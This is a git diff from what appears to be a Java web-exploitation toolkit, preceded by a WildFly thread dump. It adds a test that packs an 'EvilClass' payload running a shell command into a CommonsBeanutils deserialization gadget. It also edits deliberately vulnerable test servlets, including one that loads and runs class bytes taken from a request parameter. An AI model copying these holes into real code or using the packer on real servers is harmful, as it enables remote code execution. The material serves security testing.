java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1763) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 82" #157 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 72" #135 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 3" #43 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 4" #44 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-3" #33 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"ServerService Thread Pool -- 47" #90 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-12" #128 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 34" #75 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 73" #138 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@616ba5fd + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1712) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:67) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:234) + at app//org.jboss.modules.ref.References$ReaperThread.run(References.java:64) + +"Transaction Reaper Worker 0" #149 daemon [WAITING] on java.util.LinkedList@3e8ad836 + java.lang.Thread.State: WAITING + at java.base@21.0.6/java.lang.Object.wait0(Native Method) + at java.base@21.0.6/java.lang.Object.wait(Object.java:366) + at java.base@21.0.6/java.lang.Object.wait(Object.java:339) + at org.jboss.jts//com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForWork(TransactionReaper.java:333) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:48) + +"MSC service thread 1-4" #34 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"Reference Reaper #3" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4ce56927 + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1712) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:67) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.6/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:234) + at org.wildfly.common@1.7.0.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 59" #105 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 49" #95 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-10" #126 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 77" #143 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 44" #87 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 50" #96 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + + +=========================================== + +StackClassNames: +ch.qos.logback.gWbOR.ErrorHandler +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ContextClassLoaderSetupAction$1 +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1 +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.RedirectDirHandler +io.undertow.servlet.handlers.SendErrorPageHandler +io.undertow.servlet.handlers.ServletChain$1 +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.ServletInitialHandler$2 +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +io.undertow.servlet.spec.ServletPrintWriter +io.undertow.servlet.spec.ServletPrintWriterDelegate +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.threads.ContextClassLoaderSavingRunnable +org.jboss.threads.EnhancedQueueExecutor +org.jboss.threads.EnhancedQueueExecutor$ThreadBody +org.jboss.threads.JBossThread +org.wildfly.common.ref.References$ReaperThread +org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler +org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler$$Lambda/0x000078a84e90a450 +org.wildfly.elytron.web.undertow.server.servlet.CleanUpHandler +org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda/0x000078a84e8be050 +org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler +org.wildfly.security.auth.server.FlexibleIdentityAssociation +org.wildfly.security.auth.server.Scoped +org.wildfly.security.auth.server.Scoped$$Lambda/0x000078a84e90eca8 +org.wildfly.security.auth.server.Scoped$$Lambda/0x000078a84e90ef38 +org.xnio.XnioWorker$WorkerThreadFactory$1$1 +org.xnio.nio.WorkerThread diff --git a/libs b/libs new file mode 160000 index 00000000..8b7c2ffa --- /dev/null +++ b/libs @@ -0,0 +1 @@ +Subproject commit 8b7c2ffadfdf4fd25183a0f6472feb0281ab9147 diff --git a/packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils19PackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils19PackerTest.java new file mode 100644 index 00000000..7e3e6aef --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/CommonsBeanutils19PackerTest.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.packer.deserialize.java; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2026/1/4 + */ +class CommonsBeanutils19PackerTest { + + @Test + void test(){ + byte[] bytes = new ByteBuddy().redefine(EvilClass.class).name("hello.world").make().getBytes(); + ClassPackerConfig classPackerConfig = new ClassPackerConfig(); + classPackerConfig.setClassBytes(bytes); + System.out.println(new CommonsBeanutils19Packer().pack(classPackerConfig)); + } + +} \ No newline at end of file diff --git a/packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/EvilClass.java b/packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/EvilClass.java new file mode 100644 index 00000000..7d9cd51c --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/deserialize/java/EvilClass.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.packer.deserialize.java; + +/** + * @author ReaJason + * @since 2026/1/4 + */ +public class EvilClass extends Thread implements Runnable { + + static { + new EvilClass().start(); + } + + @Override + public StackTraceElement[] getStackTrace() { + return new StackTraceElement[0]; + } + + @Override + public void run() { + try { + Runtime.getRuntime().exec("touch /tmp/success"); + } catch (Exception ignored) { + } + } +} diff --git a/settings.gradle.kts b/settings.gradle.kts index a7da5cf1..8673ebbd 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -17,6 +17,7 @@ plugins { dependencyResolutionManagement { repositoriesMode = RepositoriesMode.FAIL_ON_PROJECT_REPOS repositories { + mavenLocal() mavenCentral() maven("https://packages.jetbrains.team/maven/p/ij/intellij-dependencies") maven("https://www.jitpack.io") diff --git a/vul/vul-webapp-expression/src/main/java/BigIntegerClassLaoderServlet.java b/vul/vul-webapp-expression/src/main/java/BigIntegerClassLoaderServlet.java similarity index 95% rename from vul/vul-webapp-expression/src/main/java/BigIntegerClassLaoderServlet.java rename to vul/vul-webapp-expression/src/main/java/BigIntegerClassLoaderServlet.java index ea9a59e0..a2e1be39 100644 --- a/vul/vul-webapp-expression/src/main/java/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp-expression/src/main/java/BigIntegerClassLoaderServlet.java @@ -7,7 +7,7 @@ * @since 2025/08/25 */ @WebServlet("/biginteger") -public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet { +public class BigIntegerClassLoaderServlet extends ClassLoader implements Servlet { @Override public void init(ServletConfig config) throws ServletException { diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java b/vul/vul-webapp-jakarta/src/main/java/Base64ClassLoaderServlet.java similarity index 98% rename from vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java rename to vul/vul-webapp-jakarta/src/main/java/Base64ClassLoaderServlet.java index 465009a2..9d0faa1b 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/Base64ClassLoaderServlet.java @@ -1,5 +1,3 @@ -package jakarta; - import jakarta.servlet.*; import java.io.IOException; diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java b/vul/vul-webapp-jakarta/src/main/java/BigIntegerClassLoaderServlet.java similarity index 75% rename from vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java rename to vul/vul-webapp-jakarta/src/main/java/BigIntegerClassLoaderServlet.java index 24e0e555..21d2dafe 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/BigIntegerClassLoaderServlet.java @@ -1,5 +1,3 @@ -package jakarta; - import jakarta.servlet.*; import java.io.IOException; @@ -8,7 +6,14 @@ * @author Wans * @since 2025/08/25 */ -public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet { +public class BigIntegerClassLoaderServlet extends ClassLoader implements Servlet { + + public BigIntegerClassLoaderServlet() { + } + + protected BigIntegerClassLoaderServlet(ClassLoader parent) { + super(parent); + } @Override public void init(ServletConfig config) throws ServletException { @@ -25,7 +30,7 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - defineClass(null, bytes, 0, bytes.length).newInstance(); + new BigIntegerClassLoaderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java b/vul/vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java similarity index 96% rename from vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java rename to vul/vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java index ae2c8969..3f7b4c87 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java @@ -1,7 +1,4 @@ -package jakarta; - import jakarta.servlet.ServletException; -import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java b/vul/vul-webapp-jakarta/src/main/java/ScriptEngineServlet.java similarity index 97% rename from vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java rename to vul/vul-webapp-jakarta/src/main/java/ScriptEngineServlet.java index 0f274523..8d13a5d7 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/ScriptEngineServlet.java @@ -1,5 +1,3 @@ -package jakarta; - import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; diff --git a/vul/vul-webapp-jakarta/src/main/java/ServletNameTestFilter.java b/vul/vul-webapp-jakarta/src/main/java/ServletNameTestFilter.java new file mode 100644 index 00000000..a3088ef4 --- /dev/null +++ b/vul/vul-webapp-jakarta/src/main/java/ServletNameTestFilter.java @@ -0,0 +1,24 @@ +import jakarta.servlet.*; + +import java.io.IOException; + +/** + * @author ReaJason + * @since 2026/1/11 + */ +public class ServletNameTestFilter implements Filter { + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + chain.doFilter(request, response); + } + + @Override + public void destroy() { + + } +} diff --git a/vul/vul-webapp-jakarta/src/main/java/TestInputStreamServlet.java b/vul/vul-webapp-jakarta/src/main/java/TestInputStreamServlet.java new file mode 100644 index 00000000..7df6fdf3 --- /dev/null +++ b/vul/vul-webapp-jakarta/src/main/java/TestInputStreamServlet.java @@ -0,0 +1,43 @@ +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; + +/** + * @author ReaJason + * @since 2025/12/31 + */ +public class TestInputStreamServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String one = req.getParameter("one"); + req.setCharacterEncoding("UTF-8"); + String body = null; + InputStream inputStream = req.getInputStream(); + StringBuilder bodyBuilder = new StringBuilder(); + if (one != null) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + int b; + while ((b = inputStream.read()) != -1) { + outputStream.write(b); + } + bodyBuilder.append(outputStream.toString(StandardCharsets.UTF_8)); + outputStream.close(); + } else { + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = inputStream.read(buffer)) != -1) { + bodyBuilder.append(new String(buffer, 0, bytesRead, StandardCharsets.UTF_8)); + } + } + body = bodyBuilder.toString(); + resp.setContentType("text/html; charset=UTF-8"); + resp.setCharacterEncoding("UTF-8"); + resp.getWriter().println(body); + } +} diff --git a/vul/vul-webapp-jakarta/src/main/java/TestReaderServlet.java b/vul/vul-webapp-jakarta/src/main/java/TestReaderServlet.java new file mode 100644 index 00000000..e7b6c6ad --- /dev/null +++ b/vul/vul-webapp-jakarta/src/main/java/TestReaderServlet.java @@ -0,0 +1,36 @@ +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.BufferedReader; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/12/31 + */ +public class TestReaderServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String one = req.getParameter("one"); + String body = null; + BufferedReader reader = req.getReader(); + StringBuilder bodyBuilder = new StringBuilder(); + if (one != null) { + int c; + while ((c = reader.read()) != -1) { + bodyBuilder.append((char) c); + } + } else { + String line; + while ((line = reader.readLine()) != null) { + bodyBuilder.append(line); + } + } + body = bodyBuilder.toString(); + resp.setContentType("text/html; charset=UTF-8"); + resp.setCharacterEncoding("UTF-8"); + resp.getWriter().println(body); + } +} diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java b/vul/vul-webapp-jakarta/src/main/java/TestServlet.java similarity index 97% rename from vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java rename to vul/vul-webapp-jakarta/src/main/java/TestServlet.java index 2fbc84d5..e519622f 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/TestServlet.java @@ -1,5 +1,3 @@ -package jakarta; - import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java b/vul/vul-webapp-jakarta/src/main/java/UploadServlet.java similarity index 96% rename from vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java rename to vul/vul-webapp-jakarta/src/main/java/UploadServlet.java index 7e601360..b6b12b09 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/UploadServlet.java @@ -1,8 +1,5 @@ -package jakarta; - import jakarta.servlet.ServletException; import jakarta.servlet.annotation.MultipartConfig; -import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/EmptyFilter.java b/vul/vul-webapp-jakarta/src/main/java/UrlMappingTestFilter.java similarity index 56% rename from vul/vul-webapp-jakarta/src/main/java/jakarta/EmptyFilter.java rename to vul/vul-webapp-jakarta/src/main/java/UrlMappingTestFilter.java index ba767e57..2284e9fa 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/EmptyFilter.java +++ b/vul/vul-webapp-jakarta/src/main/java/UrlMappingTestFilter.java @@ -1,15 +1,22 @@ -package jakarta; - import jakarta.servlet.*; -import jakarta.servlet.annotation.WebFilter; import java.io.IOException; /** * @author ReaJason - * @since 2025/2/23 + * @since 2025/1/3 */ -public class EmptyFilter implements Filter { +public class UrlMappingTestFilter implements Filter { + @Override + public void destroy() { + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { chain.doFilter(request, response); diff --git 